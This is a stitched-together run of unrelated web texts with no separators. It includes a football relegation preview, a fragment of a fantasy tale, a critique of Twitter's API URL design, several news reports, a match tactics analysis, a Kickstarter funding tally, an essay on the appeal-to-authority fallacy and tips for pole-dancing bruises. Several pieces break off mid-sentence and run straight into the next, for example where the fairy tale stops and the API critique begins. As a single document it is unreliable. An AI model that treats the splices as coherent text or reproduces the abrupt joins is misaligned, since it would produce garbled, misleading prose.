Not everyone appreciates Pearson’s robust way with words but, if his team stand behind him and keep performing so brilliantly, he will be receiving an improved contract rather than anger management classes.
Hull City, 17th, 34 points
Facebook Twitter Pinterest Hull City players celebrate after scoring a consolation goal against Arsenal on Monday at the KC Stadium. Photograph: BPI/REX Shutterstock
Remaining fixtures
Hull v Burnley, 9 May
Tottenham Hotspur v Hull, 16 May
Hull v Manchester United, 24 May
Last five results
Hull 1-3 Arsenal
Hull 1-0 Liverpool
Crystal Palace 0-2 Hull
Southampton 2-0 Hull
Swansea 3-1 Hull
Will they stay up?
Ask that question again at 5pm on Saturday. It’s difficult to overstate the importance of Hull’s match against Burnley this weekend. If they lose, they could dip into the relegation zone for the first time since January, and will have to clamber out with points earned against Tottenham and Manchester United, but if they win they will relegate Burnley and could go up to 14th, leapfrogging Leicester, Newcastle and Aston Villa.
Sunderland, 18th, 33 points
Facebook Twitter Pinterest Jordi Gómez celebrates with Sebastian Larsson after scoring Sunderland’s winner against Southampton. Photograph: Lee Smith/Reuters
Remaining fixtures
Everton v Sunderland, 9 May
Sunderland v Leicester, 16 May
Arsenal v Sunderland, 20 May
Chelsea v Sunderland, 24 May
Last five results
Sunderland 2-1 Southampton
Stoke 1-1 Sunderland
Sunderland 1-4 Crystal Palace
Sunderland 1-0 Newcastle
West Ham 1-0 Sunderland
Will they stay up?
Sunderland have a game in hand on their fellow strugglers but it’s at the Emirates in the last week of the season, four days before they visit Stamford Bridge on the final day. They have a decent record against Chelsea – they held them to a goalless draw earlier this season after becoming the first team to beat José Mourinho in a league match at Stamford Bridge last April – but they need to go into the final week of the season with something to hold on to.
Dick Advocaat has not been relegated in his career and seems to be enjoying life in the north-east. Speaking after Sunderland’s victory over Southampton on Saturday, he said he was having a “great time” in the Premier League. When asked if his team would stay up, he said be believed “100% … but I have to say that”. If Sunderland can win their only remaining home game – against Leicester next weekend – he will probably earn a new contract and a chance to rebuild over the summer.
QPR, 19th, 27 points
Facebook Twitter Pinterest QPR players thank their away fans after another disappointing result at Liverpool. Photograph: Matt West/BPI/REX Shutterstock
Remaining fixtures
Manchester City v QPR, 10 May
QPR v Newcastle, 16 May
Leicester v QPR, 24 May
Last five results
Liverpool 2-1 QPR
QPR 0-0 West Ham
QPR 0-1 Chelsea
Aston Villa 3-3 QPR
West Brom 1-4 QPR
Will they stay up?
No. Even if they win their remaining matches they could still go down, and there is next to no chance that QPR will win their final three games. They haven’t won two consecutive matches all season and didn’t win an away game until February. If QPR are to stay up, they will have win at the Etihad on Sunday; the last time they beat Manchester City away in the league the game was played at Maine Road and Tony Blair was the Prime Minister.
Chris Ramsey is a likeable manager and will reportedly be given another year at the club to earn promotion from the Championship. He will need to sort out that defence. They have conceded 61 goals in 35 matches so far this season. That’s relegation form by anyone’s counting. At least Harry Redknapp if available if things don’t work out with Ramsey.
Burnley, 20th, 26 points
Facebook Twitter Pinterest It’s tough at the bottom for Danny Ings, Scott Arfield and Kieran Trippier. Photograph: IPS/Rex Shutterstock
Remaining fixtures
Hull v Burnley, 9 May
Burnley v Stoke, 16 May
Aston Villa v Burnley, 24 May
Last five results
West Ham 1-0 Burnley
Burnley 0-1 Leicester City
Everton 1-0 Burnley
Burnley 0-1 Arsenal
Burnley 0-0 Tottenham Hotspur
Will they stay up?
No. Their last goal came in a 1-0 defeat of Manchester City, which sounds impressive, but that game took place in the middle of March. To have any hope of staying up they need to win their three remaining fixtures and pray for an unlikely series of results elsewhere.
Sean Dyche seems like a good man and his team have battled with honest endeavour but they have not scored enough goals. Just look at their recent results: they have lost their last four games 1-0. The maths is not yet conclusive, but the game is up for Burnley.THE FORTRESS UNVANQUISHABLE,
SAVE FOR SACNOTH
In a wood older than record, a foster brother of the hills, stood the village of Allathurion; and there was peace between the people of that village and all the folk who walked in the dark ways of the wood, whether they were human or of the tribes of the beasts or of the race of the fairies and the elves and the little sacred spirits of trees and streams. Moreover, the village people had peace among themselves and between them and their lord, Lorendiac. In front of the village was a wide and grassy space, and beyond this the great wood again, but at the |
Status ID not a child of the "statuses" collection
Better: GET http://twitter.com/tweets/id.format
- Show via combo of GET HTTP Verb and tweets Resource
- Internet Media type returned could be JSON, XML, SOAP, etc.
POST http://api.twitter.com/1/statuses/update.format
Problems:
- Operation ( "update" ) included in the URL
- Uses the authenticated user implicitly
Better: PUT http://twitter.com/tweets/id.format
- User authentication via OAuth or Basic Authentication
- Update via combo of PUT HTTP Verb and tweets Resource
- Internet Media type returned could be JSON, XML, SOAP, etc.
Example #3: Statuses/Destroy
POST http://api.twitter.com/1/statuses/destroy/id.format
Problems:
- Operation ( "destroy" ) included in URL like it's 1997.
- Odd, illogical hierarchy again
- Allows both "POST" and "DELETE" as verbs
Better: DELETE http://twitter.com/tweets/id.format
- Delete via combo of DELETE HTTP Verb and tweets Resource
- Internet Media type returned could be JSON, XML, SOAP, etc.
Summary
At University, during heated debates, a good friend always reminded me not to throw the baby out with the bath water. I think that advice is prudent here.
REST is no more a framework than Agile is. Both are fundamental principles we should use to guide our actions, not restrain them. Fundamentalism is no substitute for passion, reason and debate.
Let’s recap:
GET http://twitter.com/tweets/
- GET to fetch a list tweets for the authenticated user.
POST http://twitter.com/tweets/
- POST to create a new tweet
PUT http://twitter.com/tweets/12345
- PUT to update tweet 12345
DELETE http://twitter.com/tweets/12345Police say a Philadelphia pastor's wife pulled out a gun and shot an armed man who was trying to rob her and her family.
Pastor Robert Cook, his wife and 12-year-old son were returning home when they were approached by a man armed with a rifle Thursday night.
Police say a struggle began when the man demanded the pastor's wallet and hit the pastor on the head with the butt of the rifle. Police say that's when the pastor's wife pulled out her licensed gun and shot the man in the leg.
Cook tells WPVI-TV (http://6abc.cm/2d50UKA ) "everything was like lightning for a minute." He says he told his wife to shoot the suspect and she did.
The suspect was apprehended and treated for his wound.
The shooting is under investigation.
___
Information from: WPVI-TV, http://www.6abc.comEx-Samoa Rugby Union star aims Nazi jibe at All Blacks
Updated
Former Samoa international Eliota Fuimaono-Sapolu has accused the New Zealand Rugby Union of being so money hungry it would have sent the All Blacks to tour Nazi Germany had the price been right.
Fuimaono-Sapolu took aim at the NZRU for refusing to schedule an All Blacks Test match in Samoa, despite the huge contribution that players from the Pacific island nation have made to the New Zealand national team.
Responding to claims that a Test in Samoa would not make money, he said the NZRU had refused to suspend rugby ties with apartheid-era South Africa because of the cash on offer.
"That's the worst excuse ever because it justifies the killing of innocent people, because it justifies racism, it justifies the killing of black people because they are black," he said in a video posted on YouTube.
"I'll go one step further and say, that if Hitler had an interest in rugby and fronted the money and showed the All Blacks, told them to come tour Nazi Germany, the All Blacks would."
It is not the first time Fuimaono-Sapolu has invoked the Nazis to make a point.
In 2011, he received a six-month suspended ban after likening Samoa's World Cup match schedule to the Holocaust and slavery.
NZRU chief executive Steve Tew this week said he would not rule out playing a Test in Samoa but the team's schedule meant there were no opportunities for a fixture before 2019.
The NZRU had no immediate comment on Fuimaono-Sapolu's outburst.
AFP
Topics: rugby-union, business-economics-and-finance, sports-organisations, sport, samoa, new-zealand, pacific
First postedTsunami
»
»
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could hit between 7 a.m. and 7:30, the
says.
The timing of when the initial wave may hit ranges from 7:15 a.m. at Charleston to 7:24 a.m. at Seaside. Scientists are still working on models to forecast the size of the wave, but early predictions indicated it could be up to 3 feet.
A tsunami advisory is in effect for the coast of Washington. That is a step below a warning and means spot damage is possible in harbors and estuaries along beaches.
A tsunami warning also is in effect for California north of Point Conception to the Washington border. An advisory is in effect south of Point Conception.
"Stay away from the beach," said Bill Steele, a University of Washington seismologist with the Pacific Northwest Seismic Network. "Be smart about it. The water has a lot of power. Pay attention to your local emergency managers."
:
All coastal residents in the warning area who are near the beach or in low-lying regions should move immediately inland to higher ground and away from all harbors and inlets including those sheltered directly from the sea. Those feeling the earth shake, seeing unusual wave action, or the water level rising or receding may have only a few minutes before the tsunami arrival and should move immediately. Homes and small buildings are not designed to withstand tsunami impacts. Do not stay in these structures.
A tsunami advisory means that a tsunami capable of producing strong currents or waves dangerous to persons in or very near the water is expected. Currents may be hazardous to swimmers, boats, and coastal structures and may continue for several hours after the initial wave arrival.
The wave is expected after the 8.9-magnitude earthquake off northeastern Japan.
The last major tsunami to strike Oregon and Northern California was March 27, 1964. It killed four children camped on Beverly Beach north of Newport and 11 people in Crescent City, Calif. It was triggered by a magnitude 9.2 earthquake off Alaska and caused damage in Seaside, Newport and other coastal communities.
-- The OregonianManchester City – Chelsea 3:0
Manchester City’s forwards shared the star roles in the Premier League’s first Holywood fixture of the 2015/16 season while Chelsea’s defence were poorer than they Eva have been before.
Both coaches had pretty much a full compliment of players to choose from and they both played variants of a 4-2-3-1 formation.
Matic is the Key…
…and when they key doesn’t work, you can’t lock the door. The Chelsea double pivot of Matic and Fabregas, although especially Matic as he is the more defensive influence of the two, were given two vital roles. Firstly, to fill in the channels between fullback and centre-back when Chelsea’s fullbacks were inevitably pulled wide due to Manchester City’s expansive attacking system that uses most of the width of the pitch. And secondly, to look out for and track the Magician of Manchester, David Silva.
Despite the poor performances of all of the five defenders Chelsea fielded (Zouma replaced Terry at half-time) over the course of the match (especially Cahill and Ivanovic), it was Matic and Fabregas’ play that gave Manchester City so many chances. The problem wasn’t that the pair didn’t follow said instructions, however it was the instructions themselves were that the problem, a problem that caused Matic to give up his main responsibility of protecting the space in front of Chelsea’s centre-backs.
Below we have have an example of Matic’s role of tracking David Silva causing Chelsea problems. Matic is initially covering a very good space on the edge of his own penalty area as Kolarov has the ball on City’s left wing. Fabregas is in the halfspace covering the channel between Ivanovic and Cahill, as was organised. A clever Silva decoy run between the Chelsea centre-backs pulls Matic away with him and leaves a large area for Sergio Aguero to drop off Cahill, collect the cross from Kolarov, turn and register a shot on target.
This time, City are counter attacking and instead of running into the space in front of Chelsea’s centre-backs, Matic stays in the halfspace, looking to cover the channel between Azpilicueta and Terry while also keeping an eye on Silva. This allows Aguero to, again, shake off Cahill and get into key space central space in front of Chelsea’s centre-backs and get another shot on target.
Below we have another example. Here, Matic is unnecessarily in the small channel between Azpilicueta and Navas, while Fabregas has been pulled away by a Silva run. Navas simply pulls it back to Aguero who has a crazy amount of space to set a shot which just misses Begovic’s left post.
It was this non-coverage of the important space in front of Chelsea’s centre backs which was at least in part to blame for Manchester City’s opening goal. Terry is caught having to press Silva while Matic sensibly drops in to cover him. However, for some reason Fabregas moves into the channel meaning both of Chelsea’s makeshift double pivot (Terry+Fabregas) are in the same halfspace, leaving a big space in the centre. Toure drops off Matic who this time can only blame himself (rather than anything systematic) for losing concentration. Toure and Aguero combine and the Argentine to slides a finish past Chelsea’s back-up ‘keeper and into the net.
I’m being careful not to fall into the stereotype of the typical British pundit who blames individual defensive errors instead of a flawed system for a loss however I would say that individual mistakes and lack of common sense combined with poor instructions from Mourinho lead to Man City enjoying so many chances, especially in the first half.
City’s left side orientation
Just twenty seconds into the match, David Silva played a wonderful through ball down City’s left halfspace to Aguero who disappointingly shot straight at Asmir Begovic. It was a sign of things to come both in the sense of City’s domination but also the fact they had used the left side of the field to exploit Chelsea’s trio of Ivanovic, Cahill and Fabregas. These three are defensively inferior to Terry, Matic and Azpilicueta on Chelsea’s left half of their defensive block. Also, it gave City a chance to show off their new £49m signing who had a Sterling performance, embarrassing Ivanovic on a few occasions, and allowing them to use David Silva on his favoured left side of the pitch.
Below is City’s left side overload of the field which they would use in three ways: firstly, to give the ball to Kolarov or Sterling who would have time to cross or dribble in behind Ivanovic. Secondly, Play in Aguero, Sterling or Silva in the channel between Cahill and Ivanovic. Or thirdly, as we have seen they use it to attract Chelsea’s double pivot away from the centre of the pitch, before playing the ball into Aguero in this area.
Note that normally Ramires, or later on Cuadrado would move back and position themselves to the right of Ivanovic as well as Silva obviously normally being further infield than Sterling rather than the other way around. However, if you take the former of those two factors into account, City would still have a 4v3 overload in the area I have outlines.
Another reason for attacking down this side of the pitch, is that it makes it more difficult for Chelsea to counter attack through their main threat, Eden Hazard, should they win the ball.
City also set out to exploit this side of the field in the defensive phase too. Neither side, as is the nature of the Premier League, did much front line pressing in the match although City did, at times, look to isolate and expose Chelsea’s less able passers down this side–Ramires and Ivanovic. Below is an example.
Chelsea’s issues going forward
Chelsea played with an interchanging attacking midfield three of Hazard, Willian and Ramires. Hazard had long spells playing in the centre of the pitch while Willian dropped deeper or played to the left. The two ‘wingers’ generally spent most of the match in the halfspaces with the aim of Hazard or Willian finding the fairly large space behind Toure and Fernandinho but they didn’t manage to do this often enough.
The full-backs rarely pushed up enough to give Chelsea any considerable width. Mourinho was obviously concerned about defensive transitions and not leaving Chelsea to open to counter attack, citing this as his reason to replace Terry with Zouma at half-time (a decision which paid off to a small extent as Aguero didn’t get a shot on target all second half and City not being too devastating on the counter attack.
Despite this, the decision not to play Hazard very wide on the left, somewhere he could have given Bacary Sagna nightmares for months, was strange. The Belgian only managed two successful take-ons in the game. It looked as if Juan Cuadrado would give Chelsea some width when he came on in the sixty-fourth minute however he infuriatingly was given some sort of pseudo-left wingback role and spent a lot of his spell on the pitch in a back five helping Branislav Ivanovic deal with Sterling and Kolarov.
In general, Chelsea were just horribly static off-the ball when they had possession in City’s half and didn’t offer much threat other than a couple of promising moments when Hazard and Costa combined.
Conclusion
A dreadful start to the season for Jose Mourinho. The decorated coach now has to be very careful not to turn his charisma into egotistical madness as arguably the main reason for his success as a coach is the his players adore him and will happily live and die by him. John Terry didn’t looked best pleased to be substituted at half-time and Jose could start to lose the dressing room, not just the treatment room. I think signing a forward as well as a full-back would be ideal for Chelsea.
On the other hand, Pellegrini will be pretty delighted with his Man City side who now have an added element of danger, especially on the counter attack, in Raheem Sterling. One area which they may wish to improve is their intensity in central midfield as Silva doesn’t offer much defensively and Toure + Fernandinho don’t offer much pressing coverage (Fabregas had the most touches of anyone on the field, 100, and Matic had the most dribbles, 8).No one can have escaped the chatter about Kickstarter. It’s being a collection of remarkable stories of significant funds raised by crowd-sourced budgets, gamers investing in projects in the place of publishers. And those numbers are significiant. Since the beginning of March, gamers have pledged over ten million dollars to games via Kickstarter. And that’s to projects that have achieved their funding, or are just about to. It’s not including hundreds of thousands more in games only midway through their run.
To clarify, the way Kickstarter works is that projects must reach their targets to receive any funding at all. If a developer wants $100,000, and only $98,500 is pledged in the time period, then they receive nothing at all. Once they get to their target, everything that arrives on top is cherries for them. In many cases, fleets of lorries carrying cherries.
Of those that have finished their run, that started since the beginning of March, an incredible total of $6,977,432 has been successfully given to gaming projects. Then you can add on the figures from those still receiving donations but have already received their minimum amount – in other words, guaranteed money. That adds on $2,362,256, bringing things to $9,339,688. And then there are three games that seem very likely to make their big money in the next couple of weeks, Leisure Suit Larry, Grim Dawn and Moebius – that’s another $701,670, giving the extraordinary grand total of $10,041,358.
And this number is a wild under-estimation for how much will have been given in the two months since the 1st March, with dozens of projects already having thousands pledged their way, and very many already deeply into the tens of thousands. Clearly some of these will fail to reach their target, but many will keep adding to this total.
(I should add, Kickstarter’s layout of projects isn’t enormously helpful – these figures have been reached by totalling up all the gaming funds I found, and some could easily have been missed.)
And of course this isn’t a phenomenon that began with Tim Schafer. For someone with more patience than me, who is willing to total up the giving to games since the beginning of the year, a couple more million could be added on. However, it’s also of crucial note that of the total from the last month and a half, 85% comes from just five games.
Clearly with this remarkable phenomenon of gamers paying for games before they exist, and in some cases, before the idea for what the game will be has been had, there are those warning of doom and danger. It really should go without saying that you should carefully weigh up the potential of a project before handing over your prospective cash. If a team of two are pledging to make a COD-beating shooter for $50,000, you might want to question adding to that total. But that’s common sense. The largest chunks of the money have been given to known developers with significant experience.
And it’s good news for Kickstarter too! That’s half a million they’ve made from their 5% cut, just from gaming in a month and a half.The appeal to authority fallacy (a.k.a. argument from authority) is easily one of the most common logical fallacies. This is the fallacy that occurs when you base your claim on the people who agree with you rather than on the actual facts of the argument. This may seem fairly straightforward, but it can actually be quite confusing, and I often see people incorrectly accuse others of committing this fallacy. The problem is that there are clearly times when it is fine to defer to an expert. For example, we constantly defer to doctors, and there is nothing wrong or fallacious about trusting their diagnoses and taking the recommended treatments. My intention is, therefore, to try to clear up some of the confusion about this fallacy and explain when it is and is not appropriate to defer to experts.
There are basically four ways that this fallacy occurs and I am going to deal with each one separately:
Citing an opinion as authoritative Citing people who aren’t actually experts Using authority as a logical proof Citing a small minority of experts when an opposing majority consensus exists
Citing an opinion as authoritative
This one is fairly trivial and easy to spot. It occurs when you quote someone famous or cite their opinion while overemphasizing the person who said it. You may for example see a meme on Facebook that quotes George Washington and puts his name in enormous, bold caps. Doing that is really a type of inadvertent appeal to authority fallacy because you are essentially asserting that we need to accept the argument in this quote or at the very least take it seriously because of the person who said it. The problem is of course that no one is infallible, and even very intelligent people make mistakes. This is especially true when it is a quote about an opinion, philosophical view, etc. To be clear, you should obviously cite the source of the quote, but whether or not the quote should be trusted or taken seriously must be determined by the actual content of the quote, not the fame and reputation of the person who said it (also, on the internet half of the quotes are fake anyway, but that’s another problem entirely).
Citing people who aren’t actually experts
This is probably the most common occurrence of this fallacy, and it happens anytime that you cite someone who is not actually an expert on the topic at hand. In fact, this mistake is so pervasive that many people actually refer to the appeal to authority fallacy as the inappropriate appeal to authority fallacy. Some cases of this are pretty easy to spot. For example, Jenny McCarthy pretends to be an expert on vaccines, and Vani Hari (ak.a. the Food Babe) has deluded herself into thinking that she is an expert on nutrition, but neither of them have any real qualifications in science (i.e., they have no formal training on the topics they preach about, they have never conducted original research, they have never published a scientific paper, etc.). So if you reference them as an authority on a topic you are committing an inappropriate appeal to authority fallacy. To be clear, the fact that they aren’t experts doesn’t automatically mean that they are wrong or that you can reject everything that they say out of hand. Rather, it means that there is no a priori reason to think that they are right. In other words, you cannot simply defer to them as experts, because they are not experts.
A more common and insidious form of this fallacy occurs when you try to legitimatize a view by citing pseudoexperts. These are people who do have qualifications in some tangentially related field, but are not actually experts on the specific topic at hand. Dr. Sherri Tenpenny and Dr. Mercola are classic examples of this. I frequently see anti-vaccers cite them in an attempt to validate their views. They assure me that their views must be legitimate and scientific because there are people with M.D.s (such as Dr. Tenpenny and Dr. Mercola) who agree with them. The obvious problem is that Dr. Tenpenny and Mercola are both osteopaths. They have absolutely no qualifications in immunology, epidemiology, or any other field that is relevant to vaccines. So even though they have M.D.s, they are not experts on vaccines. You see, in science, being an expert requires that you do original research on the topic that you are purporting to be an expert on. Neither Dr. Tenpenny or Dr. Mercola have ever done any original studies on vaccines, and they frequently demonstrate a fundamental lack of knowledge about how such research is actually done (watch this video for a hilarious example).
This problem is, of course, not limited to anti-vaccers. Creationists love to do this by citing scientists who are also creationists. Dr. Raymond V. Damadian is one of the more famous examples because of his role in the development of MRI technology. The fact that he made important contributions to medical science does not, however, qualify him as an expert on evolutionary theory, and his views have absolutely no bearing on the legitimacy of evolution.
Climate change deniers employ a similar strategy. The fraudulent Oregon Petition is a perfect example of this. It claimed to have accrued the signatures of over 31,000 scientists who disagreed with climate change, but a quick examination of the petition reveals that many signatures are not “scientists” by any reasonable definition (multiple signatures came from veterinarians, for example), and even among the actual scientists, many signatures came from totally unrelated fields. In fact, it appears that only 39 of the signatures came from actual climatologists!
The point is simple: if you’re going to cite an authority, it needs to be someone who is actually an expert on the topic that is being discussed. Otherwise, you are committing a logical fallacy.
Using authority as a logical proof
So far, I have only been dealing with cases where the person being cited is not actually an expert on the specific topic being debated, but what about the cases where he/she is actually credentialed in that field? In this case, you’re welcome to cite them. Anyone who has ever looked at a scientific publication has no doubt seen a lengthy works cited section referencing many other researchers. As I will explain more in the next section, you can even construct a probabilistic argument around a strong consensus of experts. A probabilistic argument is one in which the conclusion is probably true. Unlike deductive arguments, the conclusions of probabilistic arguments are not absolutes, but otherwise, they follow the same rules as deductive arguments, and it is still illogical to reject the conclusion without an evidence based reason for doing so. The key here is that you must always ensure that you are using a consensus as support for your position, not as proof of your position.
For example, roughly 97% of climatologists agree that we are causing the climate to change. That is an exceedingly strong consensus. Nevertheless, it would be fallacious of me to say, “97% of climatologists agree that we are causing climate change, therefore we are causing climate change.” This commits a fallacy because it is always possible that the consensus is wrong. It is, however, unlikely that such an enormous majority of expert climatologists are wrong about such a well studied phenomenon. Therefore, it is not fallacious of me to say, “97% of climatologists agree that we are causing climate change, therefore we are probably causing climate change.”
I will deal with this idea of deferring to a consensus more in the next section, but for now the point is that you can cite legitimate experts as long as you aren’t using them as proof that your position is correct or valid.
Citing a small minority of experts when an opposing majority consensus exists
The final variation of this fallacy is another very common one (it’s actually closely related to an inflation of conflict fallacy). It occurs when you cite a few credentialed authorities as support of your position even though that vast majority of experts disagree with them (note: this strategy is generally fallacious even if you are attempting to make a probabilistic argument). It is important to realize that no matter what crackpot position you choose to believe in, you can find someone, somewhere with an advanced degree who thinks you’re right. So the fact that you found an immunologist who thinks vaccines are dangerous or a climatologist who thinks that the sun is driving climate change does not automatically mean that those positions are correct or even valid.
You should always fact check whenever possible, regardless of the person making the claim. The problem is, of course, that as a layperson, it can be difficult or even impossible to adequately investigate some claims, and all of us have to defer to experts at least some of the time. No one can be an expert on everything. The question is then, how do we do this without acting illogically? In other words, how do we defer to experts without committing an appeal to authority fallacy?
A good rule of thumb is that you don’t need to be an expert to accept a consensus, but you do need to be an expert to reject one. In other words, your default position should always be the one held by the majority of experts in that field, especially if it is a very large majority. To be clear, it is always possible that the consensus is wrong. I’m not advocating that you view a consensus as irrefutable proof of a position. Rather, what I am arguing is that you, as a non-expert, should be very, very cautious about claiming that the majority of experts are wrong. To put this another way, how likely do you actually think it is that you figured out something that the majority of experts missed?
To give a simple illustration of this, imagine that I take my car to 100 mechanics, and 97 of them say that transmission is the problem, and three of them say that it’s my engine. I know a fair amount about cars and I do almost all of my own mechanical work, but I am still far from an expert. So, how am I as a non-expert supposed to decide which mechanics to trust? Well, common sense tells us that it is more likely that the large majority of experts are right. Further, even though I am knowledgeable about cars, it would be absurdly arrogant and presumptuous of me to proclaim that I understood what was wrong with my car better than 97% of professional mechanics.
I could, of course, give many other examples of this. If we go to several doctors with a problem and all or most of them tell us the same thing, we usually have no trouble accepting their diagnosis, because their experts. We defer to expert lawyers, contractors, mechanics, etc. all the time, but for some strange reason, when it comes to science, people suddenly feel empowered to reject the expert consensus and side with some internet quackery instead. This is a very dangerous thing to do. On topics like global climate change where roughly 97% of expert climatologists agree that we are causing it, it seems rather risky to side with the 3% who disagree with the consensus. Again, to be perfectly clear, I am not advising that you should always just blindly follow the popular view. You should always make every effort to learn as much about a topic as you can, but after you have carefully reviewed all of the evidence, if you have reached a different conclusion than the vast majority of credentialed experts, you should be very trepid and cautious about that conclusion. You may be right. That possibility always exists, but you should really think long and hard about the probability that a few hours on the internet allowed you to figure out something that was missed by hundreds of experts with years of experience.
The underlying reason for accepting a consensus relates back to the burden of proof. Remember, the person making the unparsimonious claim is the one who bears the burden. In other words, if you are going to claim that 97% of climatologists are wrong about climate change, every major medical organization in the world is wrong about vaccines, virtually every biologist is wrong about evolution, etc. you need some extraordinary evidence to back up that claim. This is why I stated earlier that you really need to be an expert before you reject a consensus. For example, I am not an archaeologist, and I do not need to be an expert on archaeology to accept the consensus that ancient Egyptians built the pyramids. I do, however, need to be an expert to say that the consensus is wrong and aliens did it. It is not valid for me to make that claim unless I have spent years studying hieroglyphics, examining remains, etc. To give another example, it’s one thing for someone who has spent their entire life doing research in biology to proclaim that they have evidence that discredits evolution. It’s another thing entirely for someone to spend a few hours on the internet, then proclaim that they have found evidence that nearly every biologist in the world is either ignorant of or has chosen to ignore. That is an extraordinary claim, and it requires extraordinary evidence. Further, it’s important to realize that the research and results of these outliers who disagree with a consensus are going to be scrutinized by the rest of the scientific community, and more often than not, that scrutiny reveals fundamental problems with the research.
To recap, a consensus is certainly not infallible, and you should do your best to learn as much about a topic as you can (always by using good sources), but if your conclusion is that the consensus is wrong, you should be cautious of that conclusion and carefully reexamine your evidence. It is possible that you’re right, but if you are honest with yourself, you’d have to admit that it seems unlikely that reading a few websites has endowed you with superior knowledge than you would get from years of careful training and actual experience. So the burden of proof is on you to prove that the consensus is wrong, and you need some extraordinary evidence. Perhaps most importantly, you need actual evidence. The fact that a few experts agree with you does not make your position valid, and it is fallacious to base your argument on the fact that a handful of experts think that you’re right.
Other posts on the rules of logic:
AdvertisementsMayor Michael Hancock said Thursday he’s forming a quick-response team to study and perhaps make changes to Denver’s child-welfare system in the wake of the death Wednesday of a 23-month-old boy.
Hancock said he met with the Department of Human Services and other child-welfare officials Thursday, not long after the arrest of two people in connection to the death of Javion Johnson. Javion was brought to the hospital with serious injuries by a private vehicle about 8:30 a.m. Wednesday and later pronounced dead. The department had been in contact with the family of the toddler.
Candice Lampley, 29, and DeLonta Crank, 36, are suspected of child abuse resulting in serious bodily injury. City records show both are being held at Denver’s downtown jail without bail.
In his Thursday meeting, Hancock said there was “a very candid discussion” on the city’s child-welfare system and what might be done to better protect “its most vulnerable children.”
While Hancock did not divulge some of the ideas that were exchanged, he said the formation of the response team, which will include representatives from his office, along with Denver police, Human Services and other “peak performance” professionals, will act quickly in the wake of a case that the mayor said “shook me to my core.”
“We’re going to do this quick — I don’t want it to languish, and I don’t want a 200-page report,” Hancock said.
The mayor recently formed a similar team in response to a series of gang shootings that wracked the city in the spring.
On Thursday, police did not say how Lampley and Crank were connected to each other or how they were connected to Johnson, but relatives have said Crank was Lampley’s boyfriend and the child was Lampley’s son.
Police did not describe Javion’s injuries, saying Thursday that further details likely will come from the coroner’s office or the district attorney.
Colorado Bureau of Investigation records show Crank has been arrested roughly a dozen times in the past eight years, including in Denver on suspicion of child abuse in November 2007.
In the child abuse case, Crank allegedly hit his girlfriend in the head with a pair of scissors and punched her in the stomach in front of her 1-year-old son, Denver police wrote in a statement of probable cause.
In the statement, police said the toddler “observed everything.”
Police indicated their charges in the latest case could change based on an autopsy on Javion.
“We did find during the course of this investigation there were injuries to the child,” Christine Downs, a police spokeswoman, said at a Thursday morning news conference. “We’re not sure those caused the death.”All pole dancers, new and experienced, get bruises. Big horrible purple bruises, speckled bruises that run the length of your leg, and bruises that are in places that make no sense. As great a lesson as bruises are, the non-pole community seems to have mixed emotions about people being covered in bruises high up on the leg and on the arms.
I’ve found 3 main tricks that are helping with healing bruises more quickly and hiding the bruises if you want to go for a night out.
Trick #1: Ice.
I know, the oldest trick in the book right? But I’ve found a new way to ice bruises. Although this trick does require a little reconnaissance, it’s totally worth it. So your mission should you choose to accept, is to go to your local fast food restaurant and nab some ketchup cups. Grab quite a few, that way your local fast food restaurant won’t catch on to you. Then fill the cups up with water and place in the freezer until frozen. If your freezer has ridges in it, be careful when placing the cups because if they tip, the ice could freeze on an angle or the cup could tip and then would be frozen to the bottom of your freezer. When one cup of water is frozen, hold it upside down and massage your bruised area with the open end. Make sure you have a thin wetted cloth between the ice and your skin. The heat from your body will melt the ice, so you will probably want a towel underneath you. One other thing to be aware of is that as the ice cup melts, the ice will fall out from the cup, so if that happens, just pop it back in the cup and keep going. This technique is really effective because you’re using the ice to take down the swelling, and the massaging motion with help relax any swollen muscles.
Trick #2: Arnica Ointment/Cream.
This ointment is specifically made to use on bruises. You can find arnica ointment/cream at organic health food stores. There are some creams that have arnica cream in them like Rub A535 with Arnica, but I use straight arnica cream. All you do is massage the cream on your bruises a few times a day. The cream takes the swelling down and helps the muscles relax. It doesn’t cover up bruises but it will speed healing. I’ve used arnica and have had bruises shrink to almost being completely healed in 2-3 days. As opposed to a whole week that is usually required for bruises to heal. Arnica does have a bit of a yeasty kind of smell to it, but it’s not crazy strong.
Trick #3: Cover Up.
Say your friends call you up and suddenly want to go out, but you’re covered in bruises. The other 2 tricks I gave you are great if you’ve got time, but if something comes up, cover up. Now, your normal cover up that you use for blemishes or evening out your skin tone isn’t going to work, I tried it and all normal cover up did is make my bruises look worse. For pole bruises, you need some serious concealer. There are a couple of make-up brands that do body make up that works really well. I use Vichy Derma blend, but the make-up company Mac also does body make-up that is supposed to work really well. Just be prepared, when you go into your local make-up store you may get some funny looks when you start applying testers to your legs or arms. Be ready to get that “should I call the cops because I think you’re being beaten” look. I straight up told the lady in the store that I was a pole dancer and that seemed to work.
Bruises come in all shapes and colours. Sometimes bruises are little and discrete, other times bruises are huge and extremely obvious. There are lots of ways to help heal bruises. These 3 tricks that I’ve given you are not the only ways, but they’re the tricks that I found to really help with bruises. I hope you’ve found this helpful and remember, never stop poling!For years, the ground-floor shops at the Guardian Building in downtown Silver Spring have sat empty. To lure new tenants, the building’s owner brought the space to life with fake storefronts.
All photos from Devin Arkin.
The Arkin family has owned this six-story office building, located at Georgia Avenue and Cameron Street, for decades. But as owner Michael Arkin’s health declined and he wasn’t able to keep the building up, many of the retail tenants moved away, retired, or passed away |
trust fund.
The internal split in the Bitcoin Foundation ranks extends beyond Murck and Janssens's disagreement. When Motherboard reached out to Gavin Andresen, another long-time Core developer who is currently chief scientist for the Bitcoin Foundation, he was open to the idea of implementing Janssens's fund, although he did not comment on whether he would take Janssens's money or not.
"'That offer' is a partly-baked idea right now, there is no specific offer I could either accept or decline," Andresen told Motherboard in an email. "But I always encourage people to jump in and experiment and make things happen, and hope Olivier works out the details and manages to create something sustainable."
In the fight for the future of the Bitcoin Foundation—and, by extension, Bitcoin Core—the battle lines have been drawn. What happens next will be up to the Bitcoin Foundation board members, including Janssens. That is, if they can agree on anything.
CORRECTION: An earlier version of this article misspelled Olivier Jansens' surname in two instances. These inconsistencies have been corrected.
UPDATE: Olivier Janssens has responded to Jeff Garzik's criticisms and posted on Reddit to expand on his idea.Addressing a grandiose conference designed to show off Russia's financial resurgence, the new president said that America's "economic egoism" and Western protectionism had triggered a global economic slowdown.
"The aggressive financial policies of the biggest economy in the world have led not only to corporate losses; most people on the planet have become poorer," he told delegates at the St Petersburg Economic Forum.
